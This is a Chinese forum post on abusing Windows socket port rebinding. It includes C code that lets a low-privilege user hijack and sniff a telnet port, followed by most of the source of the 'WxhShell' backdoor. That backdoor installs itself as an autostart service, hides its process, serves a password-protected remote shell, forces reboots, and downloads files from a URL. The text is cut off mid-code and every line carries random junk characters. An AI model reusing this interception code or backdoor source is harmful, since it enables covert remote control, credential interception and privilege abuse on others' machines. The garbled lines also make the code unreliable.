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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: 0 S2v"(_T  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); QjqBO+  
8T<@ @6`T  
  saddr.sin_family = AF_INET; Z/n3aYM  
"'~|}x1Uv  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); }D Z)W0RDe  
W?=$V>)  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); ] ZDTn  
AzxL%,_  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 x'zihDOI  
% mJ~F*Dy  
  这意味着什么?意味着可以进行如下的攻击: RrKfTiK H  
k)|'JDm  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 Rnzqw,q  
^DzL$BX  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) A3z/Bz4]:#  
&ad Y  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 Ny.*G@&  
0~qf-x  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  xv^Sh}\}  
IX"ZS  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 eN2dy-0  
(=`Z0)=  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 ix^gAot  
"/Om}*VhD  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 6g}^Q?cpV#  
Ap% d<\,Z  
  #include KUF$h Er  
  #include J6eJIKK  
  #include ^p$1D  
  #include    #FEa 5  
  DWORD WINAPI ClientThread(LPVOID lpParam);   B*y;>q "{U  
  int main() ZH_FA  
  { : #3OcD4  
  WORD wVersionRequested; mm_^gQ,`  
  DWORD ret; r@olC7&  
  WSADATA wsaData; CdDH1[J  
  BOOL val; 3\7'm]  
  SOCKADDR_IN saddr; "!xvpsy  
  SOCKADDR_IN scaddr; :-w@^mli  
  int err; mPckf  
  SOCKET s; ,>&?ty9o  
  SOCKET sc; ==nYe { 2  
  int caddsize; _t$lcOT  
  HANDLE mt; Hr /W6C  
  DWORD tid;   ylkpYd  
  wVersionRequested = MAKEWORD( 2, 2 ); ^uC"dfH  
  err = WSAStartup( wVersionRequested, &wsaData ); 4xv9a;fP  
  if ( err != 0 ) { hK:#+hg,  
  printf("error!WSAStartup failed!\n"); ooomi"u  
  return -1; [&1iF1)4  
  } I%pCm||p  
  saddr.sin_family = AF_INET; 2^cAK t6bC  
   =t@:F  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 _2]e1_=  
kSLSxfR  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); se~ *<5  
  saddr.sin_port = htons(23); P=f<#l"v  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) ,@}W@GGP)  
  { 7J0 ^N7"o  
  printf("error!socket failed!\n"); mw:3q6  
  return -1; 3js)niT9u  
  } `DI{wqV9  
  val = TRUE; bq c;.4$  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 FI3sLA  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) ' %bj9{(0  
  { lf?Z{^  
  printf("error!setsockopt failed!\n"); TjKzBAX  
  return -1; F(T=WR].o  
  } $~ pr+Ei  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; `Mo~EHso.  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 r0~7v1rG  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 j09mI$2y67  
3{.9O$  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) 6&g!ZE'G  
  { 38"8,k  
  ret=GetLastError(); O{;M6U8C\  
  printf("error!bind failed!\n"); e 7Yb=/F  
  return -1; M \ :"~XW  
  } ] +}:VaeA  
  listen(s,2); VFe-#"0ZO  
  while(1) R=2 gtW"r  
  { #]?,gwvTf  
  caddsize = sizeof(scaddr); o%kSR ]V|  
  //接受连接请求 ZkJY.H-F  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); &>d:ewM\  
  if(sc!=INVALID_SOCKET) i;E9Za W  
  { @)aXNQY  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); vG'vgUo  
  if(mt==NULL) 5A0K V7N5  
  { nG&w0de<>  
  printf("Thread Creat Failed!\n"); T+ &x{+gZ  
  break; Jm{As*W>  
  } I T*fjUY&  
  } N&R '$w  
  CloseHandle(mt); , I[^3Fn  
  } 27h/6i3  
  closesocket(s); jK ?  
  WSACleanup(); [+ %p!T  
  return 0; a(Gk~vD;"  
  }   wZ (uq?3S`  
  DWORD WINAPI ClientThread(LPVOID lpParam) H;7O\  
  { :vn0|7W4  
  SOCKET ss = (SOCKET)lpParam; K9x*Sep  
  SOCKET sc; w\0Oz?N  
  unsigned char buf[4096]; *>}McvtTw  
  SOCKADDR_IN saddr; asm[-IB2u  
  long num; \GjXsR*b5  
  DWORD val; ,Ut!u)  
  DWORD ret; UD Iac;vT  
  //如果是隐藏端口应用的话,可以在此处加一些判断 {GGO')p  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   &5kjjQ*HB  
  saddr.sin_family = AF_INET; <a4 iL3  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); /ieu)m:2  
  saddr.sin_port = htons(23); :kf3_?9rc  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) [#H8=  
  { jzu l{'g  
  printf("error!socket failed!\n"); z1}tC\9'%  
  return -1; 4YU1Kr4  
  } @O  @|M'  
  val = 100; @&am!+z  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) aT`02X   
  {  6Dr$*9  
  ret = GetLastError(); U 8qKD  
  return -1; Gaw,1Ow!`2  
  } 2uI`$A:  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) ie$fMBIq  
  { ;X9MA=b  
  ret = GetLastError(); MJ*oeI!.=  
  return -1; n@ yd{Rc  
  } 'vf,T4uQ"  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) ,M+h9_&0?  
  { #b]}cwd!  
  printf("error!socket connect failed!\n"); ;6\Ski0=l  
  closesocket(sc); e>)}_b  
  closesocket(ss); :5q*46n  
  return -1; @; j0c_^"!  
  } h!JjN$  
  while(1) E| 8s2t  
  { X*p:&=o  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 ]R2Z-2  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 n WO~v{h3J  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 cwDD(j  
  num = recv(ss,buf,4096,0); eBLHT  
  if(num>0) <O`q3u'l  
  send(sc,buf,num,0); '%JMnU  
  else if(num==0) RmCn&-i  
  break; 5.+$v4  
  num = recv(sc,buf,4096,0); aaqjE  
  if(num>0) *$WiJ3'(m  
  send(ss,buf,num,0); ?tal/uC  
  else if(num==0) `rOe5Zp$  
  break; ;M(ehX  
  } $48[!QE  
  closesocket(ss); i,U-H\p&  
  closesocket(sc); ^/5E773  
  return 0 ; ^*owD;]4_  
  } :67d>wb  
X\^3,k."  
e[py J.  
========================================================== XN0RT>@  
'!|E+P-  
下边附上一个代码,,WXhSHELL |[n|=ORI'  
!gA^$(=:"  
========================================================== jAQ)3ON<  
[]]LyWk  
#include "stdafx.h" D4x'  
enfu%"(K)  
#include <stdio.h> ^Qb!k/$3y  
#include <string.h> (x*2BEn|  
#include <windows.h> S+\Mt+o  
#include <winsock2.h> ",,qFM!  
#include <winsvc.h> fPuQ,J2=  
#include <urlmon.h> TJGKQyG$L  
14)kKWG  
#pragma comment (lib, "Ws2_32.lib") >Gu>T\jpe.  
#pragma comment (lib, "urlmon.lib") I^C ]6D{  
f~(^|~ZT  
#define MAX_USER   100 // 最大客户端连接数 :-jP8X  
#define BUF_SOCK   200 // sock buffer %L=h}U13  
#define KEY_BUFF   255 // 输入 buffer ?[|4QzR  
Y&!McM!Jw  
#define REBOOT     0   // 重启 fqp7a1qQl  
#define SHUTDOWN   1   // 关机 looPO:bo^  
CI ]U)@\U  
#define DEF_PORT   5000 // 监听端口 Jv$2wH  
ki/Lf4  
#define REG_LEN     16   // 注册表键长度 xN~<<PIZ  
#define SVC_LEN     80   // NT服务名长度 cH8H)55F  
N 7|W.(  
// 从dll定义API :~YyHX  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); LAjw!QB  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); r?{LQWP>e  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 6b 5{  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); %li{VDb  
&[\arwe)  
// wxhshell配置信息 ;]ZHD$g  
struct WSCFG { ~#xs `@{s  
  int ws_port;         // 监听端口 {>qrf:  
  char ws_passstr[REG_LEN]; // 口令 P_}_D{G  
  int ws_autoins;       // 安装标记, 1=yes 0=no X=RmCc$:  
  char ws_regname[REG_LEN]; // 注册表键名 tbt9V2U:"n  
  char ws_svcname[REG_LEN]; // 服务名 Kof-;T  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 m3ZOq B-  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 #B{F{,vlu,  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 =>TtX@Q{  
int ws_downexe;       // 下载执行标记, 1=yes 0=no uqH! eN5  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 1JY90l$ME  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 PDiorW}]k  
).6/ii9gt  
}; l@2`f#y1~<  
lJpv  
// default Wxhshell configuration A^jm<~  
struct WSCFG wscfg={DEF_PORT, m<;" 1<k  
    "xuhuanlingzhe", o`]FH _  
    1, +Gs;3jC^  
    "Wxhshell", W;*vcbP  
    "Wxhshell", '<j p.sZQ  
            "WxhShell Service", ? 9M+fi  
    "Wrsky Windows CmdShell Service", YmF(o  
    "Please Input Your Password: ", 2QD B'xs3  
  1, T</gWW  
  "http://www.wrsky.com/wxhshell.exe", cnO4N UDv  
  "Wxhshell.exe" r/w@Dh]{_  
    }; -&^(T  
{;gWn' aq  
// 消息定义模块 lY8Qy2k|  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";    r3K:  
char *msg_ws_prompt="\n\r? for help\n\r#>"; w'j]Y%  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r";  [?(W7  
char *msg_ws_ext="\n\rExit."; O-m}P  
char *msg_ws_end="\n\rQuit."; AZP>\Dq  
char *msg_ws_boot="\n\rReboot..."; P =Gb  
char *msg_ws_poff="\n\rShutdown..."; zT zG&B-  
char *msg_ws_down="\n\rSave to "; ^E,Uc K;  
aj~@r3E ;  
char *msg_ws_err="\n\rErr!"; ;^SgV   
char *msg_ws_ok="\n\rOK!"; 3W00,f^9  
ijSYQ  
char ExeFile[MAX_PATH]; Vc<n6  
int nUser = 0; DdW8~yI&  
HANDLE handles[MAX_USER]; 745PCC'FK  
int OsIsNt; %&S]cEw  
0|k[Wha#  
SERVICE_STATUS       serviceStatus; S5p\J!k\B  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; =hb87g.  
9%veUvY  
// 函数声明 %zVv3p:  
int Install(void); y 9mZQq  
int Uninstall(void); *m/u3.\  
int DownloadFile(char *sURL, SOCKET wsh); p 5w g+K  
int Boot(int flag); 4& WzG nK  
void HideProc(void); _Xe< JJvq  
int GetOsVer(void); '\qr=0aW  
int Wxhshell(SOCKET wsl); FX%E7H  
void TalkWithClient(void *cs); dXN&<Q,  
int CmdShell(SOCKET sock); ?XrTZ{5'  
int StartFromService(void); {x$#5 PW  
int StartWxhshell(LPSTR lpCmdLine); 2o}FB\4^i  
2(xKE_|  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 5Wjp_^!e  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); :O=Vr]Y8K  
6!m#_z8qG3  
// 数据结构和表定义 f2XD^:Gc  
SERVICE_TABLE_ENTRY DispatchTable[] = ~UFsiVpL  
{ kKO]q#9sO  
{wscfg.ws_svcname, NTServiceMain}, 61 |xv_/  
{NULL, NULL} 7guxkN#  
}; Unk+@$E&  
4H '&5  
// 自我安装 %^A++Z$`  
int Install(void) ou4?`JF)-  
{ 1@Gv`{v  
  char svExeFile[MAX_PATH]; dg<fUQ  
  HKEY key; $*> _0{<  
  strcpy(svExeFile,ExeFile); KL{ uhb0f  
\}c50}#0  
// 如果是win9x系统,修改注册表设为自启动 lsf?R'1  
if(!OsIsNt) { nQMN2jM  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { -I<`!kH*  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); o?\Pw9Y  
  RegCloseKey(key); AX?6Q4Gq1  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { oDK\v8w-  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 7qp|Msf},  
  RegCloseKey(key); 6YbSzx` ?k  
  return 0; I>|?B( F  
    } `_kRvpi  
  } 5T*7HC[  
} pm|]GkM  
else { 3j#F'M)s{  
<Z_`^~!  
// 如果是NT以上系统,安装为系统服务 xJlq2cK  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); '!GI:U+g  
if (schSCManager!=0) [Y+ bW#'  
{ W;yZ$k#q}(  
  SC_HANDLE schService = CreateService ;B@l0)7(x  
  ( }R(_^@ ]  
  schSCManager, YzVLa,[  
  wscfg.ws_svcname, S d -+a  
  wscfg.ws_svcdisp, *8+YR  
  SERVICE_ALL_ACCESS, %&NK|M+n  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , ^hJ ,1{o  
  SERVICE_AUTO_START, ppS`zqq $  
  SERVICE_ERROR_NORMAL, X[}%iEWzT  
  svExeFile, s"Wdbw(O'  
  NULL, p5ihuV,   
  NULL, /vKDlCH*  
  NULL, A5\S0l$Q  
  NULL, W@Wh@eSb;  
  NULL Vy VC#AK,  
  ); jHzb,&  
  if (schService!=0) nXjUTSGa)  
  { 4B 6Aw?  
  CloseServiceHandle(schService); Qw+">  
  CloseServiceHandle(schSCManager); c{q`uI;O  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); vhW '2<(  
  strcat(svExeFile,wscfg.ws_svcname); ~heF0C_  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { Zx{'S3W  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); _BV:i:z  
  RegCloseKey(key); s.R(3}/  
  return 0; dE~ns ,+  
    } Q)/q h;R u  
  } -0{WB(P  
  CloseServiceHandle(schSCManager); =r2d{  
}  ?auiq  
} -mF9Skj  
mBF?+/l  
return 1; #SmWF|/  
} |SmN.*&(9  
U;/ )V  
// 自我卸载 /r6DPR0\  
int Uninstall(void) D.~t#a A  
{ &R]G)f#w%*  
  HKEY key; g& Rk}/F  
mdd~B2"el  
if(!OsIsNt) { JB7]51WH@  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ]SI`fja/  
  RegDeleteValue(key,wscfg.ws_regname); Q2o:wXvj  
  RegCloseKey(key); P!/8   
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { uQlVzN.?  
  RegDeleteValue(key,wscfg.ws_regname); Fk\xq`3'c  
  RegCloseKey(key); QK\z-'&n  
  return 0; * gnL0\*  
  } slbV[xR  
} 53c6dl  
} gQ[4{+DSf  
else { K;~dZ  
&2DW  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 3ba"[C|  
if (schSCManager!=0) *MNY1+RJ  
{ C*$/J\6xy  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); hI yfF  
  if (schService!=0) %k~=iDk@  
  { _cB~?c  
  if(DeleteService(schService)!=0) { /[p4. FL  
  CloseServiceHandle(schService); ?w+T_EH  
  CloseServiceHandle(schSCManager); Hs9uDGWp  
  return 0; RB!g,u  
  } sQkP@Y  
  CloseServiceHandle(schService); !Kis,e  
  } DbDpdC;  
  CloseServiceHandle(schSCManager); /i<g>*82  
} [3s~Z8 pP  
} nz(OHh!}u  
;AaF;zPV  
return 1; \n5,!,A  
} 8`D_"3j3g\  
[": x  
// 从指定url下载文件 1/ a,7Hl  
int DownloadFile(char *sURL, SOCKET wsh) mEGMe@37  
{ .*Z]0~ &|  
  HRESULT hr; .IqS}Rh  
char seps[]= "/"; nsPM`dz/  
char *token; {_Y\Y&#  
char *file;  : 2?du  
char myURL[MAX_PATH]; c~V\,lcI  
char myFILE[MAX_PATH]; ??F{Gli"C`  
m{g{"=}YR  
strcpy(myURL,sURL); yC -4wn*  
  token=strtok(myURL,seps); C-M op,w  
  while(token!=NULL) xc!"?&\*  
  { l"+=z.l6;  
    file=token; bvoR?D\-"  
  token=strtok(NULL,seps); xn-n{U"  
  } 8ViDh  
"}n]0 >J  
GetCurrentDirectory(MAX_PATH,myFILE); }*%%GPJ  
strcat(myFILE, "\\"); (b(iL\B$D=  
strcat(myFILE, file); MKbW^:  
  send(wsh,myFILE,strlen(myFILE),0); \oi=fu=}*  
send(wsh,"...",3,0); \ZC7vM"h  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); b@7 ItzD  
  if(hr==S_OK) o,29C7Ii  
return 0; @'S-nn,sO  
else )Z62xK2  
return 1; 9]Y@eRI<  
UZyo:*yB  
} *aSFJK  
*ce h ]v  
// 系统电源模块 `0L!F"W  
int Boot(int flag) DV. m({?  
{ H*Yy o ?  
  HANDLE hToken; <_D+'[  
  TOKEN_PRIVILEGES tkp; j,~h:MT  
%l>^q`p  
  if(OsIsNt) { D~-Ri`k.  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); `8L7pbS%,Q  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); rA9"CN  
    tkp.PrivilegeCount = 1; |')Z;  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; z2r{AQ.&  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); kWgxswl7H  
if(flag==REBOOT) { [j5L}e!T  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) C&Rv)j  
  return 0; qp7>_B  
} NJ|8##Z>  
else { GSk;~^l  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) -G{}8GM  
  return 0; #{0c01JZ  
} RJ0w3T]7  
  } wqw$6"~  
  else { =ahD'*R^A  
if(flag==REBOOT) { *b> ~L  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) X@ TQD  
  return 0; )s!x)< d;  
} ]]Wa.P~]O  
else { =|H/[",gg  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) *r%=p/oQ}B  
  return 0; |W?x6]~.R  
} I&4|T<j  
} mp}ZHufG  
E}~ GXG  
return 1; */6PkNq  
} vrH/Z.WD  
Ra.<D.  
// win9x进程隐藏模块 90Q}9T\  
void HideProc(void) hEDj"`Px  
{ 7Ij'!@no  
pZXva9bE  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); cBU>/ zIp  
  if ( hKernel != NULL ) F$d`Umqs;P  
  { /']Gnt G.  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); ?L'ijzP  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); kYx|`-PA<r  
    FreeLibrary(hKernel); 0nBAO  
  } zg[ksny  
euQ d  
return; J3C"W7 94}  
} -V(5U! ^B  
3HWI;  
// 获取操作系统版本 E: #VS~  
int GetOsVer(void) 7,Nd[ oL*7  
{ k{uc%6s  
  OSVERSIONINFO winfo; V0"UFy?i  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); JWC{"6  
  GetVersionEx(&winfo); !YCYmxw#  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) L[D}pL=  
  return 1; ZVViu4]?y  
  else wuI+$?  
  return 0; evq *&.6\  
} j`(o\Fd )  
N n+leM  
// 客户端句柄模块 V*LpO 8=  
int Wxhshell(SOCKET wsl) rT <=`9^{  
{ c/b} 39X  
  SOCKET wsh; BJ1txdxvS  
  struct sockaddr_in client; ^,@Rd\q  
  DWORD myID; AS~O*(po  
H+t^eg88  
  while(nUser<MAX_USER) "|(+~8[  
{ n hS=t8H  
  int nSize=sizeof(client); |K7JU^"OQ  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); <Xv]Ih?@f`  
  if(wsh==INVALID_SOCKET) return 1; g?)9zJ9  
L=?Yc*vg  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 5) nm6sf  
if(handles[nUser]==0) 1: XT r  
  closesocket(wsh); $yBU ,lu}  
else +!CG'qyN>  
  nUser++; c[f  
  } ^|(F|Z  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); XzkC ]e'  
UJ2Tj+  
  return 0; g#W)EXUR  
} v~9PS2  
wYPJji D  
// 关闭 socket O$<kWSC  
void CloseIt(SOCKET wsh) BNnGtVAbZ  
{ R=xT\i{4h  
closesocket(wsh); vA*!82  
nUser--; fU8 &fo%ER  
ExitThread(0); hVd% jU:  
} &dH/V-te  
y>UM~E  
// 客户端请求句柄 _}8O15B|  
void TalkWithClient(void *cs) kO+Y5z6=  
{ 8 W79  
zvL;.U  
  SOCKET wsh=(SOCKET)cs; ]`b/_LJN$F  
  char pwd[SVC_LEN]; h:}oUr8   
  char cmd[KEY_BUFF]; vg5i+ry<  
char chr[1]; @/g%l1$`  
int i,j; aTxss:7]  
H_un3x1  
  while (nUser < MAX_USER) { B~G ?&"]  
nZ0- Kb  
if(wscfg.ws_passstr) { jA?A)YNQb  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); P|Dw +lQj  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); (3C::B=  
  //ZeroMemory(pwd,KEY_BUFF); S=*rWh8)%<  
      i=0; 7LbBS:@3z_  
  while(i<SVC_LEN) { hQv~C4Wfrf  
79^Y^.D  
  // 设置超时 _8v8qT}O~4  
  fd_set FdRead; N`h,2!(j  
  struct timeval TimeOut; :?S1#d_  
  FD_ZERO(&FdRead); V>>"nf,YO  
  FD_SET(wsh,&FdRead); ,6uON@  
  TimeOut.tv_sec=8; |#^wYZO1U  
  TimeOut.tv_usec=0; T@ (MSgp9  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); @FKm_q  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); W1dpKv  
ycz6-kEp  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); )"`(+Ku&c  
  pwd=chr[0]; ph qx<N@  
  if(chr[0]==0xd || chr[0]==0xa) { wuR Q H]N  
  pwd=0; P-o/ax  
  break; U-&dn%Sq  
  } |3<tDq@+  
  i++; W< _9*{|E;  
    } |qnAqzK|  
aAhXHsZ|26  
  // 如果是非法用户,关闭 socket t6(LO9Qc  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); [H<![Z1*r  
} OGpy\0%  
^cs:S-s  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); bFD vCF  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); @ qy n[C  
SaceIV%(  
while(1) { V3r1|{Z(  
<&^P1x<x  
  ZeroMemory(cmd,KEY_BUFF); _4Z|O]  
jM]B\cvN  
      // 自动支持客户端 telnet标准   h8B:}_Cu  
  j=0; FOV%\=Hl  
  while(j<KEY_BUFF) { C-O~Oil  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); <#/r.}.x  
  cmd[j]=chr[0]; (&t741DN|  
  if(chr[0]==0xa || chr[0]==0xd) { #; ~`+[y?\  
  cmd[j]=0; xMsSZ{j%5  
  break; .$&mWytw=  
  } =;A p+}  
  j++; gT8Q:8f:  
    } z=%&?V  
*'[8FZ|dQ  
  // 下载文件 @-ps[b`z  
  if(strstr(cmd,"http://")) { Hj(ay4 8  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); Lu?MRF f  
  if(DownloadFile(cmd,wsh)) }x!=F<Q!r  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); ]z3!hgTj  
  else >n3w'b  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); G8AT] =  
  } u-qwG/$E  
  else { +U9m  
1 1Sflj  
    switch(cmd[0]) { m03D+@F  
  JV_VF'  
  // 帮助 bvn%E H  
  case '?': { X?'ShXI  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); "}ibH{$lM  
    break; y#tuwzE  
  } zNG]v?JAh  
  // 安装 ',+YWlW  
  case 'i': { st4z+$L  
    if(Install()) 3mef;!q  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 8[v9|r  
    else y950Q%B]  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); GO&~)Vh&7  
    break; zy8Z68%E`*  
    } Dnk}  
  // 卸载 E3hql3=  
  case 'r': { p} }pq~EH/  
    if(Uninstall()) x;N@_FZ7KY  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); -%f$$7  
    else 2-G6I92d  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ?OjZb'+=K  
    break; skaPC#u  
    } k|uW~ I)  
  // 显示 wxhshell 所在路径 80m<OW1  
  case 'p': { ;[nomxu|?  
    char svExeFile[MAX_PATH];  vNWCv  
    strcpy(svExeFile,"\n\r"); X 8/9x-E_  
      strcat(svExeFile,ExeFile); 2><=U7~  
        send(wsh,svExeFile,strlen(svExeFile),0); /6fa 7;  
    break; X%X`o%AqC  
    } =:fN  
  // 重启 U~3uu &/r  
  case 'b': { 1PGY/c  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 5z/*/F=X  
    if(Boot(REBOOT)) Budo9z_w  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); mM#[XKOC<  
    else { 6&9}M Oc  
    closesocket(wsh); [d d KC)tA  
    ExitThread(0); uy'I#^Bt  
    } ;r8< Ed  
    break; OKo)p`BX  
    } Q H>e_  
  // 关机 #!.26RM:P  
  case 'd': { wqnrN6$jf  
